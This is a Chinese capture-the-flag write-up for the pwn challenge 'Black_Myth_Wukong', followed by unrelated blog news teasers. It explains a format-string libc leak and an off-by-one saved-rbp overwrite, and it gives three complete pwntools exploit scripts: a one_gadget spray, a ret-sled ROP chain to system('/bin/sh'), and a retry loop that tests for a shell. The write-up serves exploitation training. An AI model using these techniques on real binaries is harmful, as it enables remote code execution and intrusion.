2024极客大挑战 Black_Myth_Wukong wp
# Black_Myth_Wukong wpchackesc一下文件开启nxpie保护。反编译一下文件%%%d$llx导致有一次栈上任意地址泄露的机会可以泄露libc那么我们先泄露前40个地址的数据看看有没有能用的。多次运行发现偏移 1,17,18,19,25,26,30,31,35,38这些地址最后三位是固定的可能是在libc段那么可以gdb调试用两次地址减去vmmap里libc的基址看是否得到固定偏移。经调试1719都可以就用19吧成功得到libcbase。接着分析程序。如果v2小于等于0x100进入action函数写入v2字节数据到开辟的a1的256数组缓冲区中fread返回写入的字节数那么如果写入256字节到a[0]-a[255]的256字节数组中a[256]0会覆盖掉紧邻 a1 之后的一个字节也就是previous rbp的最低1字节变成00这就是所谓的off-by-one漏洞。所以rbp被破环了函数会跳到a1缓冲区不固定的地方然后我们用one_gadget把a1填满即可获得shell。可以一一尝试第一个就可以打通获得shell拿到flag。但是也有偶尔打不通的时候多尝试几次即可。第二种思路是a1缓冲区里最后3个8字节填为pop_rdibin_shsystem剩下的全填为ret一路滑下去但一直打不通。完整exp如下from pwn import * context(archamd64,oslinux,log_leveldebug) libc ELF(./libc.so.6) io remote(nc1.ctfplus.cn,27385) io process( [./ld-linux-x86-64.so.2, ./main], env{LD_PRELOAD: ./libc.so.6} ) io.recvuntil(bgame...) io.send(b\n) io.recvuntil(bhim?\n) #gdb.attach(io) io.sendline(str(17).encode()) io.recvuntil(bit: ) leak io.recvline().strip().decode() #print(fOffset {19}: {hex(int(leak,16))}) libc_base int(leak,16) - 0x3ec760 log.success(flibc_base: {hex(libc_base)}) libc.address libc_base rop ROP(libc) pop_rdi rop.find_gadget([pop rdi,ret]).address ret rop.find_gadget([ret]).address bin_ next(libc.search(b/bin/sh)) system libc.sym[system] ​ one_gadget libc_base 0x4f2a5 io.recvuntil(bmax 256)?\n) io.sendline(b256) payload p64(one_gadget)*32 #payload p64(ret) * 29 p64(pop_rdi) p64(bin_) p64(system) io.send(payload) io.interactive()经过不断调试发现第二种方法行得通是在system函数后面加一个exit0函数防止system函数之后乱跳导致程序GOT EOF。代码如下from pwn import * context(archamd64,oslinux,log_leveldebug) libc ELF(./libc.so.6) io remote(nc1.ctfplus.cn,41941) io process( [./ld-linux-x86-64.so.2, ./main], env{LD_PRELOAD: ./libc.so.6} ) io.recvuntil(bgame...) io.send(b\n) io.recvuntil(bhim?\n) #gdb.attach(io) io.sendline(str(17).encode()) io.recvuntil(bit: ) leak io.recvline().strip().decode() #print(fOffset {19}: {hex(int(leak,16))}) libc_base int(leak,16) - 0x3ec760 log.success(flibc_base: {hex(libc_base)}) libc.address libc_base rop ROP(libc) pop_rdi rop.find_gadget([pop rdi,ret]).address ret rop.find_gadget([ret]).address bin_ next(libc.search(b/bin/sh)) system libc.sym[system] exit_ libc.sym[exit] ​ one_gadget libc_base 0x4f2a5 io.recvuntil(bmax 256)?\n) io.sendline(b256) #payload p64(one_gadget)*32 payload p64(ret) * 26 p64(pop_rdi) p64(bin_) p64(system) p64(pop_rdi) p64(0) p64(exit_) io.send(payload) io.interactive()但此方法打不通的概率远大于one_gadget还有一个重复测试的脚本可以再次记录一下from pwn import * import time ​ context(archamd64, oslinux, log_leveldebug) libc ELF(./libc.so.6, checksecFalse) ​ HOST nc1.ctfplus.cn PORT 41941 MAX_TRY 40 ​ for i in range(1, MAX_TRY 1): log.info(ftry {i}/{MAX_TRY}) io remote(HOST, PORT) ​ try: io.recvuntil(bgame...) io.send(b\n) io.recvuntil(bhim?\n) ​ io.sendline(b17) io.recvuntil(bit: ) leak int(io.recvline().strip(), 16) ​ libc_base leak - 0x3ec760 log.success(fleak {hex(leak)}) log.success(flibc_base {hex(libc_base)}) ​ libc.address libc_base rop ROP(libc) pop_rdi rop.find_gadget([pop rdi, ret]).address ret rop.find_gadget([ret]).address bin_sh next(libc.search(b/bin/sh\x00)) system libc.sym[system] exit_ libc.sym[exit] ​ io.recvuntil(bmax 256)?\n) io.sendline(b256) ​ payload ( p64(ret) * 26 p64(pop_rdi) p64(bin_sh) p64(system) p64(pop_rdi) p64(0) p64(exit_) ) io.send(payload) ​ # 先吃掉程序自己还没打完的输出避免误判 time.sleep(0.2) leftover io.recvrepeat(0.5) if leftover: log.info(fleftover: {leftover!r}) ​ # 给 shell 一点接管时间再探测 io.sendline(becho PWNED) time.sleep(0.2) data io.recvrepeat(0.8) ​ if bPWNED in data: log.success(fsuccess on try {i}) io.interactive() break ​ log.warning(ffailed on try {i}) io.close() ​ except EOFError: log.warning(fEOF on try {i}) io.close() except Exception as e: log.warning(fexception on try {i}: {e}) io.close() else: log.failure(all tries failed)

相关新闻

六年了,我们为什么坚持代码100%开源、免费商用

六年了,我们为什么坚持代码100%开源、免费商用

2019年,我们把第一行代码推到Gitee上,用的是Apache-2.0协议。 当时的开源电商圈,有两种主流玩法。一种叫"开源引流,付费卖授权",代码给你看,商用请交钱。另一种叫"核心加密,插件…

2026/10/5 7:51:27 阅读更多 →
《认知红利》书摘3

《认知红利》书摘3

《认知红利》书摘 如果你把每一本书作为孤立的一本书来学习,那么知识量就是以加法的方式增长的。比如你学习了复利效应、比例偏见、SWOT分析,那么你知识库里的知识量就增加了3个。 原有知识新知识1新知识2新知识3……那应该怎么学才能产生复利效应&…

2026/10/3 7:04:40 阅读更多 →
产品设计中“帮助关于”模块的构建策略与实战指南

产品设计中“帮助关于”模块的构建策略与实战指南

1. 项目概述:从“帮助关于”到产品体验的基石“帮助关于”这个标题,乍一看平淡无奇,甚至有些乏味。在很多产品经理或开发者的待办清单里,它可能只是一个需要“填充内容”的静态页面,优先级往往被排得很靠后。但在我十多…

2026/9/30 22:06:26 阅读更多 →

最新新闻

用AI搭建个人知识库:从PDF到可持续追问的工作台实践

用AI搭建个人知识库:从PDF到可持续追问的工作台实践

这两年我一直在折腾一件看起来很基础的事:把电脑里那些PDF论文、Markdown笔记、项目设计文档,从一堆只能靠记忆和文件名找回的“死文件”,变成一套能反复对话、持续追问的活知识库。最初动机很简单——我手头有个项目沉淀了二十多份PDF和几十…

2026/10/5 14:49:21 阅读更多 →
电磁循迹控制的六层工程体系:从信号重构到闭环调试

电磁循迹控制的六层工程体系:从信号重构到闭环调试

1. 为什么电磁循迹不能只靠“调PID”——从智能车竞赛现场说起 去年在华南某高校智能车实验室,我帮一支刚进队的大二学生调试电磁三轮小车。他们已经把线圈、运放、AD采样全搭好了,示波器上能清晰看到100kHz载波叠加的磁场畸变信号,但小车一上…

2026/10/5 14:49:21 阅读更多 →
AI视频批量生产流水线:从10条到100条的团队实战搭建指南

AI视频批量生产流水线:从10条到100条的团队实战搭建指南

最近总有人问我一个问题:团队现在一天能稳定出10条视频,怎么才能批量做到100条?我一开始以为要推荐某个AI工具,聊到最后才发现,大家缺的不是一个“更聪明的生成器”,而是一整套能复用、能分工、能排错的AI视…

2026/10/5 14:49:21 阅读更多 →
Agent知识库怎么搭?RAG原理到私有资料落地的实战指南

Agent知识库怎么搭?RAG原理到私有资料落地的实战指南

前两天有个做电商的朋友跟我吐槽:“我花大几千买的 AI 工具,问我们自己店铺的退货规则,它居然给我编了一个 30 天无理由退换,我们明明是 7 天。”这个场景我估计每个拿大模型干活的人都遇过。多数人第一反应是模型太蠢&#xff0c…

2026/10/5 14:49:21 阅读更多 →
AgentKit实战:多模型统一网关部署与路由策略全解

AgentKit实战:多模型统一网关部署与路由策略全解

1. 先聊聊多模型管理这件事为什么会变得一团糟大概半年多前,我们团队做 AI 应用从“调一两个 API 的玩具”正式过渡到“要上线给真实用户用的系统”,模型管理的问题就一下子涌出来了。手里有 OpenAI 的 Key,有 Anthropic 的 Key,还…

2026/10/5 14:49:21 阅读更多 →
Android光效模拟:Matrix+Shader实现可控灯光闪过效果

Android光效模拟:Matrix+Shader实现可控灯光闪过效果

1. 这不是“闪光灯”——安卓灯光闪过效果的本质与常见误判很多人看到“安卓实现灯光闪过效果”第一反应是调用Camera的闪光灯API,啪一下亮一下,完事。但实际项目里,90%以上的需求根本不是这个——它要的是视觉层的动态光效模拟:比…

2026/10/5 14:48:21 阅读更多 →

日新闻

马斯克杀回智能体战场,Grok 4.5万亿参数撑腰,Cursor接手数字白领项目:用TaoToken统一Key跑通多模型Agent工作流

马斯克杀回智能体战场,Grok 4.5万亿参数撑腰,Cursor接手数字白领项目:用TaoToken统一Key跑通多模型Agent工作流

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/5 0:00:22 阅读更多 →
AI编程工具插件机制详解:plugin.json配置与加载失败排查指南

AI编程工具插件机制详解:plugin.json配置与加载失败排查指南

1. 从“plugins”这个词说起:它到底在解决什么问题如果你最近在折腾 AI 编程工具,尤其是 Cursor、Codex CLI、Claude Code 这类带 CLI 的编辑器或命令行助手,那你大概率绕不开一个词——plugins。这个词本身不新鲜,从浏览器到 IDE…

2026/10/5 0:00:23 阅读更多 →
第26课:OpenClaw|日志审计与问题诊断:把日志链路改到 TaoToken 的排查清单

第26课:OpenClaw|日志审计与问题诊断:把日志链路改到 TaoToken 的排查清单

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/5 0:00:23 阅读更多 →

周新闻

KT148A语音芯片外挂8002D功放的工程实践指南

KT148A语音芯片外挂8002D功放的工程实践指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/5 5:06:42 阅读更多 →
LLC谐振变换器增益公式推导:从FHA等效到完整归一化表达式

LLC谐振变换器增益公式推导:从FHA等效到完整归一化表达式

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/5 1:10:22 阅读更多 →
ARM架构深度解析:从RISC设计理念到交叉编译实战

ARM架构深度解析:从RISC设计理念到交叉编译实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/5 3:06:17 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/4 11:40:45 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/4 9:43:54 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/4 20:14:29 阅读更多 →